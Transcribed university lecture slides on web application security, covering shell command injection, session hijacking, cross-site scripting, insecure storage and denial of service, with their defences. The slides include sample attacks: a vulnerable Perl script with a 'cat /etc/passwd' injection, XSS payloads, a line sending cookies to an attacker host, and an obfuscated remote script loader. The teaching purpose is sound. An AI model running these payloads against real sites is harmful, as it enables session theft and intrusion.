Internet Security [1]

Similar documents
Cyber Security. Web Application Security 2. Adrian Dabrowski, Christian Kudera

Internet Security [1] VU

Web Security Part B. Davide Balzarotti

Web insecurity Security strategies General security Listing of server-side risks Language specific security. Web Security.

RKN 2015 Application Layer Short Summary

How is state managed in HTTP sessions. Web basics: HTTP cookies. Hidden fields (2) The principle. Disadvantage of this approach

Application vulnerabilities and defences

OWASP Top 10 Risks. Many thanks to Dave Wichers & OWASP

Web basics: HTTP cookies

WEB SECURITY: XSS & CSRF

Copyright

Web basics: HTTP cookies

Application Layer Attacks. Application Layer Attacks. Application Layer. Application Layer. Internet Protocols. Application Layer.

CIS 4360 Secure Computer Systems XSS

Security and Privacy. SWE 432, Fall 2016 Design and Implementation of Software for the Web

CSE361 Web Security. Attacks against the client-side of web applications. Nick Nikiforakis

COMP9321 Web Application Engineering

Lecture Overview. IN5290 Ethical Hacking

Lecture 6: Web hacking 2, Cross Site Scripting (XSS), Cross Site Request Forgery (CSRF), Session related attacks

Application Security through a Hacker s Eyes James Walden Northern Kentucky University

1 About Web Security. What is application security? So what can happen? see [?]

P2_L12 Web Security Page 1

Web Application Security. Philippe Bogaerts

WebGoat Lab session overview

Attacks Against Websites. Tom Chothia Computer Security, Lecture 11

2/16/18. CYSE 411/AIT 681 Secure Software Engineering. Secure Coding. The Web. Topic #11. Web Security. Instructor: Dr. Kun Sun

Computer Security 3e. Dieter Gollmann. Chapter 18: 1

Welcome to the OWASP TOP 10

Solutions Business Manager Web Application Security Assessment

CS 142 Winter Session Management. Dan Boneh

Provide you with a quick introduction to web application security Increase you awareness and knowledge of security in general Show you that any

Robust Defenses for Cross-Site Request Forgery Review

C1: Define Security Requirements


Attacks Against Websites 3 The OWASP Top 10. Tom Chothia Computer Security, Lecture 14

Web Application & Web Server Vulnerabilities Assessment Pankaj Sharma

Security Course. WebGoat Lab sessions

Advanced Web Technology 10) XSS, CSRF and SQL Injection

COMP9321 Web Application Engineering

SPOOFING. Information Security in Systems & Networks Public Development Program. Sanjay Goel University at Albany, SUNY Fall 2006

Slides adopted from Laurie Williams. OWASP Top Ten. John Slankas

CSCE 813 Internet Security Case Study II: XSS

2/16/18. Secure Coding. CYSE 411/AIT 681 Secure Software Engineering. Web Security Outline. The Web. The Web, Basically.

Andrew Muller, Canberra Managing Director, Ionize, Canberra The challenges of Security Testing. Security Testing. Taming the Wild West

Web Security II. Slides from M. Hicks, University of Maryland

OWASP TOP Release. Andy Willingham June 12, 2018 OWASP Cincinnati

Is Browsing Safe? Web Browser Security. Subverting the Browser. Browser Security Model. XSS / Script Injection. 1. XSS / Script Injection

Your Turn to Hack the OWASP Top 10!

Information Security CS 526 Topic 8

7.2.4 on Media content; on XSS) sws2 1

NET 311 INFORMATION SECURITY

CSCD 303 Essential Computer Security Fall 2017

Bank Infrastructure - Video - 1

Application Security Introduction. Tara Gu IBM Product Security Incident Response Team

Information Security CS 526 Topic 11

COMP9321 Web Application Engineering

Why bother? Causes of data breaches OWASP. Top ten attacks. Now what? Do it yourself Questions?

W e b A p p l i c a t i o n S e c u r i t y : T h e D e v i l i s i n t h e D e t a i l s

CSC 482/582: Computer Security. Cross-Site Security

WEB SECURITY WORKSHOP TEXSAW Presented by Solomon Boyd and Jiayang Wang

WHY CSRF WORKS. Implicit authentication by Web browsers

Sichere Software vom Java-Entwickler

Exploiting and Defending: Common Web Application Vulnerabilities

CSWAE Certified Secure Web Application Engineer

Web Security, Summer Term 2012

Web Security, Summer Term 2012

Web Application Security GVSAGE Theater

DEFENSIVE PROGRAMMING. Lecture for EDA 263 Magnus Almgren Department of Computer Science and Engineering Chalmers University of Technology

CNIT 129S: Securing Web Applications. Ch 12: Attacking Users: Cross-Site Scripting (XSS) Part 2

INNOV-09 How to Keep Hackers Out of your Web Application

CSCD 303 Essential Computer Security Fall 2018

WEB APPLICATION SCANNERS. Evaluating Past the Base Case

CS 361S - Network Security and Privacy Spring Homework #1

Internet Security VU Web Application Security 3. Adrian Dabrowski, Johanna Ullrich, Aljosha Judmayer, Georg Merzdovnik, and Christian Kudera

CSE361 Web Security. Attacks against the client-side of web applications. Nick Nikiforakis

Web Security: XSS; Sessions

Perslink Security. Perslink Security. Eleonora Petridou Pascal Cuylaerts. System And Network Engineering University of Amsterdam.

INF3700 Informasjonsteknologi og samfunn. Application Security. Audun Jøsang University of Oslo Spring 2015

Featuring. and. Göteborg. Ulf Larson Thursday, October 24, 13

OWASP Top 10 The Ten Most Critical Web Application Security Risks

Ethical Hacking and Countermeasures: Web Applications, Second Edition. Chapter 3 Web Application Vulnerabilities

EasyCrypt passes an independent security audit

Excerpts of Web Application Security focusing on Data Validation. adapted for F.I.S.T. 2004, Frankfurt

Web Security Computer Security Peter Reiher December 9, 2014

CompTIA Security+ Malware. Threats and Vulnerabilities Vulnerability Management

Avoiding Web Application Flaws In Embedded Devices. Jake Edge LWN.net URL for slides:

Lecture 9a: Sessions and Cookies

Combating Common Web App Authentication Threats

Security for the Web. Thanks to Dave Levin for some slides

Web Application Vulnerabilities: OWASP Top 10 Revisited

Introduction to Ethical Hacking

Secure Frame Communication in Browsers Review

Detecting XSS Based Web Application Vulnerabilities

OWASP Top 10. Copyright 2017 Ergon Informatik AG 2/13

How to perform the DDoS Testing of Web Applications

Certified Secure Web Application Engineer

Security for the Web. Thanks to Dave Levin for some slides

Assignment 6: Web Security

Computer Forensics: Investigating Network Intrusions and Cyber Crime, 2nd Edition. Chapter 3 Investigating Web Attacks

CS 161 Computer Security

Transcription:

Internet Security [1] VU 188.366 Web Application Security (2/2) Adrian Dabrowski, Markus Kammerstetter, Georg Merzdovnik, Stefan Riegler inetsec@seclab.tuwien.ac.at

Last Lecture on Web Security OWASP Top Ten Web Application Vulnerabilities injections caused through unvalidated input injection flaws: SQL injection, command injection improper error handling SQL injection blind SQL injection second order SQL injection Proper input validation lessons learned validate against positive specification isolate application from SQL use prepared statements 2

Outline Web Application Security, Part II we look at further examples of Web-based security problems and attacks Command Parameter Injection (short recap) Broken authentication / session management Cross Site Scripting Examples Insecure storage DoS attacks 3

Simple Parameter Injection Example Perl script that lists (embeds in HTML) the directory contents by calling the shell ls command: $query $query == new new $directory $directory == CGI; CGI; $query->param( directory ); $query->param( directory ); #call #call the the ls ls command command in in the the shell shell using using back back ticks ticks $directory_contents $directory_contents == `ls `ls $directory`; $directory`; print print <html><body> <html><body> $directory_contents $directory_contents </body></html> ; </body></html> ; 4

Simple Parameter Injection Example Perl script that lists (embeds in HTML) the directory contents by calling the shell ls command: $query $query == new new $directory $directory == CGI; CGI; $query->param( directory ); $query->param( directory ); #call #call the the ls ls command command in in the the shell shell using using back back ticks ticks $directory_contents $directory_contents == `ls `ls $directory`; $directory`; print print <html><body> <html><body> $directory_contents $directory_contents </body></html> ; </body></html> ; Unvalidated input! 5

Simple Parameter Injection Example What if the user enters a cat /etc/passwd as the directory? she can gain access to the contents of the passwd file! the shell command in the script becomes ls cat /etc/passwd How can such a simple attack be prevented? do not use shell commands directly in Web scripts use APIs provided by script language filter out characters with a special meaning for the shell * > < ; etc. 6

Session Management 7

Session Management Remember: HTTP is a stateless protocol: it does not know about previous requests bad for web applications (example: logged in?) Sessions concept introduced web apps create and manage sessions themselves Session data is stored at the server associated with a unique session ID After session creation, the client is informed about the session ID client attaches the session ID to each subsequent request Result: Server knows about previous requests of each client 8

Session Management Web application environments usually provide session management features many developers prefer to create their own session tokens authentication strongly connected to session management authentication state is stored as session data if the session tokens are not properly protected, an attacker can hijack an active or inactive session and assume the identity of a user (impersonate the user) How to protect your web app / yourself? protect the session ID! careful and proper use of custom or off the shelf authentication and session management mechanisms 9

Session ID Transmission Three possibilities for transporting session IDs 1) Encoding it into the URL as GET parameter stored in referrer logs of other sites caching; visible even when using encrypted connections visible in browser location bar (bad for internet cafés..) 2) Hidden form field works for POST requests above caveats when using GET requests 3) Cookies preferable can be rejected by the client 10

Cookies Token that is set by server, stored on client machine stored as key-value pair, name=value Uses a single domain attribute only sent back to servers whose domain attribute matches 11

Cookies Non-persistent cookies are only stored in memory during browser session good for sessions Secure cookies cookies that are only sent over encrypted (TLS) connections Only encrypting the cookie over insecure connection is useless attackers can simply replay a stolen, encrypted cookie Cookies that include the IP address makes cookie stealing harder breaks session if IP address of client changes during that session 12

Some Session Attacks Aim of the attacker: steal the session ID Interception: intercept request or response and extract session ID Prediction: predict (or make a few good guesses about) the session ID Brute Force: make many guesses about the session ID Fixation: make the victim use a certain session ID 13

Session Attacks Preventing interception: use TLS for each request/response that transports a session ID not only for login! Prediction: possible if session ID is not a random number... 14

Prediction Example Suppose you are ordering something online. You are registered as user john. In the URL, you notice: www.somecompany.com/order?s=john05011978 what is s? It is probably the session ID (often sid ) in this case, it is possible to deduce how the session ID is made up Session ID is made up of user name and (probably) the user s birthday hence, by knowing a user ID and a birthday (e.g., a friend of yours), you could hijack someone s session ID and order something 15

Harden Session Identifiers Although by definition unique values, session identifiers must be more than just unique to be secure they must be resistant to brute force attacks where random, sequential, or algorithm-based forged identifiers are submitted by hashing the session ID and encrypting the hash with a secret key, you create a random session token and a signature session identifiers that are truly random (hardware generator) for high-security applications 16

More Prediction Flaws Additional attacks can be made possible by flawed credential management functions e.g., weak remember my password question (birthday & Co) remember my password account update, other related functions Sarah Palin's Gmail hack :-) Advice use existing solutions for authentication and session management never underestimate the complexity of authentication and session management 17

JavaScript 18

JavaScript JavaScript is embedded into web pages to support dynamic client-side behaviour Typical uses of JavaScript include: dynamic interactions (e.g., the URL of a picture changes) client-side validation (e.g., has user entered a number?) form submission Document Object Model (DOM) manipulation Developed by Netscape as a light-weight scripting language with object-oriented capabilities later standardized by ECMA after some stagnation, JS has made a major comeback 19

JavaScript (The Good and The Ugly) The user s environment is protected from malicious JavaScript code by sand-boxing environment JavaScript programs are protected from each other by using compartmentalizing mechanisms JavaScript code can only access resources associated with its origin site (same-origin policy) Problem: All these security mechanisms fail if user is lured into downloading malicious code from a trusted site 20

Cross-site scripting (XSS) Simple attack, but difficult to prevent and can cause much damage An attacker can use cross site scripting to send malicious scripts to an unsuspecting victim the end user s browser has no way to know that the script should not be trusted, and will execute the script. because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by your browser and used with that site. These scripts can even completely rewrite the content of an HTML page Phishing & Co. 21

JavaScript Same Origin Policy client browser twitter.com evil.com 22

JavaScript Same Origin Policy client browser twitter.com evil.com browser prohibits interaction because content comes from different remote sites 23

JavaScript Same Origin Policy client browser attacker browser twitter.com twitter.com 24

JavaScript Same Origin Policy 1.) posts malicious content onto site client browser attacker browser twitter.com twitter.com 25

JavaScript Same Origin Policy 2.) user downloads malicious content in a benign context client browser 1.) posts malicious content onto site attacker browser twitter.com twitter.com 26

JavaScript Same Origin Policy 2.) user downloads malicious content in a benign context 1.) posts malicious content onto site attacker browser client browser twitter.com twitter.com browser cannot distinguish between good and bad scripts and grants full access 27

Cross-site scripting (XSS) XSS attacks can generally be categorized into two classes: stored and reflected stored attacks are those where the injected code is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. reflected attacks are those where the injected code is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request. 28

XSS Delivery Mechanisms Stored attacks require the victim to browse a Web site reading an entry in a forum is enough examples of victims of stored XSS attacks: Yahoo, e-bay, PayPal many home-made guest books and similar sites :-) Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other web server when a user is tricked into clicking on a malicious link or submitting a specially crafted form, the injected code travels to the vulnerable web server, which reflects the attack back to the user s browser. Example: Squirrelmail 29

Cross-site scripting (XSS) The likelihood that a site contains potential XSS vulnerabilities is extremely high there are a wide variety of ways to trick web applications into relaying malicious scripts developers that attempt to filter out the malicious parts of these requests are very likely to overlook possible attacks or encodings How to protect yourself? ensure that your application performs validation of all headers, cookies, query strings, form fields, and hidden fields (i.e., all parameters) against a rigorous specification of what should be allowed. OWASP filters project, Anti-XSS filters (i.e. in Google Chrome using static analysis), Safe Browsing API 30

Simple XSS Example Suppose a Web application (text.pl) accepts a parameter msg and displays its contents in a form: $query $query == new new $directory $directory == CGI; CGI; $query >param( msg ); $query >param( msg ); print print <html><body> <html><body> <form <form action= displaytext.pl action= displaytext.pl method= get > method= get > $msg $msg <br> <br> <input <input <input <input type= text type= text name= txt > name= txt > type= submit type= submit value= OK > value= OK > </form></body></html> ; </form></body></html> ; 31

Simple XSS Example Suppose a Web application (text.pl) accepts a parameter msg and displays its contents in a form: $query $query == new new $directory $directory == CGI; CGI; $query >param( msg ); $query >param( msg ); print print <html><body> <html><body> <form <form action= displaytext.pl action= displaytext.pl method= get > method= get > $msg Unvalidated input! $msg <br> <br> <input <input <input <input type= text type= text name= txt > name= txt > type= submit type= submit value= OK > value= OK > </form></body></html> ; </form></body></html> ; 32

Simple XSS Example If the script text.pl is invoked, as text.pl?msg=helloworld This is displayed in the browser: $msg HelloWorld HelloWorld OK Text Field 33

Simple XSS Example There is an XSS vulnerability in the code. The input is not being validated so JavaScript code can be injected into the page! If we enter the URL text.pl?msg=<script>alert( I 0wn you )</script> we can do anything we want. e.g., we display a message to the user worse: we can steal sensitive information. using document.cookie identifier in JavaScript, we can steal cookies and send them to our server We can e-mail this URL to thousands of users and try to trick them into following this link (a reflected XSS attack). 34

Some XSS Attacker Tricks How does attacker send information to herself? e.g., change the source of an image: document.images[0].src= www.attacker.com/ + document.cookie; Quotes are filtered: Attacker uses the unicode equivalents \u0022 and \u0027 Form redirecting to redirect the target of a form to steal the form values (e.g., passwd) Line break trick: <IMG SRC="javasc ript:alert('test');"> <<< line break trick \10 \13 as delimiters. 35

Some XSS Attacker Tricks Attackers are creative (application-level firewalls have a difficult job). Check this out (no / allowed): var n = new RegExp( http: myserver evilscr.js ); forslash = location.href.charat(6); space = n.source.charat(5); s = n.source.split(space).join(forslash); var createscript = document.createelement('script'); createscript.src = the_script; document.getelementsbytagname('head')[0].appendchild(createscript); 36

Some XSS Attacker Tricks How much script can you inject? this is the web so the attacker can use URLs. That is, attacker could just provide a URL and download a script that is included (no limit!) img src='http://valid address/clear.gif' onload='document.scripts(0).src ="http://myserver/evilscript.js"' 37

XSS Demo <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> document.write ("This is remote text via xss.js located at ha.ckers.org " + document.cookie); alert ("This is remote text via xss.js located at ha.ckers.org " + document.cookie); Let's use a search engine for more examples :-) 38

XSS Mitigation Solutions Content Security Policy (CSP) Separate code and data Application-level firewalls Static code analysis Huang et al. (WWW 2003, 2004) Jovanovic et al., Pixy, (Oakland 2006) 39

XSS Mitigation Solutions httponly cookie option used to inform the browser to not allow scripting languages (JavaScript, VBScript, etc.) access the document.cookie object (traditional XSS attack) syntax of an httponly cookie: Set Cookie: name=value; httponly using JavaScript, we can test the effectiveness of the feature. We activate httponly and see if document.cookie works 40

XSS Mitigation Solutions <script <script type= text/javascript ><!-type= text/javascript ><!-function function normalcookie() normalcookie() {{ document.cookie document.cookie == TheCookieName=CookieValue_httpOnly ; TheCookieName=CookieValue_httpOnly ; alert(document.cookie);} alert(document.cookie);} function function httponlycookie() httponlycookie() {{ document.cookie document.cookie == TheCookieName=CookieValue_httpOnly; TheCookieName=CookieValue_httpOnly; httponly ; httponly ; alert(document.cookie);} alert(document.cookie);} //--></script> //--></script> <FORM> <FORM> <INPUT <INPUT TYPE=BUTTON TYPE=BUTTON OnClick= normalcookie(); OnClick= normalcookie(); VALUE= Display Normal VALUE= Display Normal Cookie > Cookie > <INPUT TYPE=BUTTON OnClick= httponlycookie(); <INPUT TYPE=BUTTON OnClick= httponlycookie(); VALUE= Display VALUE= Display HTTPONLY HTTPONLY Cookie > Cookie > </FORM> </FORM> 41

XSS Mitigation Solutions After pressing Display Normal Cookie Button After pressing Display httponly Cookie Button 42

Improper Error Handling The most common problem is when detailed internal error messages such as stack traces, database dumps, and error codes are displayed to the user (attacker). such details can provide attackers with important clues on potential flaws in the site. One common security problem caused by improper error handling is the fail-open security check. error happens, authentication is by-passed! Protection? A specific policy for how to handle errors should be documented. 43

Insecure Configuration Management Different server configuration problems can impact the security of a site unpatched security flaws in the server software server software flaws, misconfiguration that permit directory listing and directory traversal attacks unnecessary default, backup, or sample files including scripts, applications, configuration file and web pages improper file and directory permissions unnecessary services enabled including content management and remote administration default accounts with their default passwords 44

Insecure Configuration Management Even more administrative or debugging functions that are enabled or accessible overly informative error messages misconfigured TLS certificates and encryption settings use of self-signed certificates to achieve authentication and man-in-the-middle protection use of default certificates... 45

Insecure Storage Most web applications have a need to store sensitive information, either in a database or on a file system somewhere. passwords, credit card numbers, account records, or proprietary information Frequently, encryption techniques are used to protect this sensitive information developers still frequently make mistakes while integrating it into a web application mistakes: failure to encrypt critical data, insecure storage of keys, certificates, and passwords, poor choice of algorithm, attempting to invent a new encryption algorithm 46

Denial of Service Attacks A type of attack that consumes your resources at such a rate that none of your customers can enjoy your services DoS Distributed variant of DoS is called a DDoS attack How common is DoS? Answer: Very common research showed 4000 known attacks in a week (most attacks go unreported) how likely are you to be victim of DoS? A report showed 25% of large companies suffer DoS attacks at some point in January 2001, 98% of Microsoft servers were not accessible because of DoS attacks In March 2013, DDoS attack on Spamhaus, peak 300Gb/s Recently: DDoS attacks by abusing IoT devices 47

Denial of Service Attacks DDoS attack terminology attacking machines are called daemons, slaves, zombies or agents. Zombies are usually poorly secured machines that are exploited machines that control and command the zombies are called masters or handlers. attacker would like to hide trace: He hides himself behind machines that are called stepping stones. Web applications may be victims of flooding or vulnerability attacks in a vulnerability attack, a vulnerability may cause the application to crash or go to an infinite loop 48

Denial of Service Attacks Web applications are particularly susceptible to denial of service attacks a web application can t easily tell the difference between an attack and ordinary traffic because there is no reliable way to tell from whom an HTTP request is coming from, it is very difficult to filter out malicious traffic. most web servers can handle several hundred concurrent users under normal use, a single attacker can generate enough traffic from a single host to swamp many applications Defending against denial of service attacks is difficult and only a small number of limited solutions exist (e.g. Cloudfare) 49

Who are the DoS attackers? Research has shown that the majority of attacks are launched by script-kiddies. such attacks are easier to detect and defend against kids use readily available tools to attack Some DoS attacks, however, are highly sophisticated and very difficult to defend against possible defense mechanisms make sure your hosts are patched against DoS vulnerabilities anomaly detection and behavioral models service differentiation (e.g., VIP clients) signature detection 50

Conclusion In this lecture, we looked at some important problems: command parameter injection session management XSS insecure storage DoS and DDoS attacks Exciting Practicals and Theses Have a look at the www.seclab.tuwien.ac.at and sba-research.org pages: Practicals, Theses and Internships 51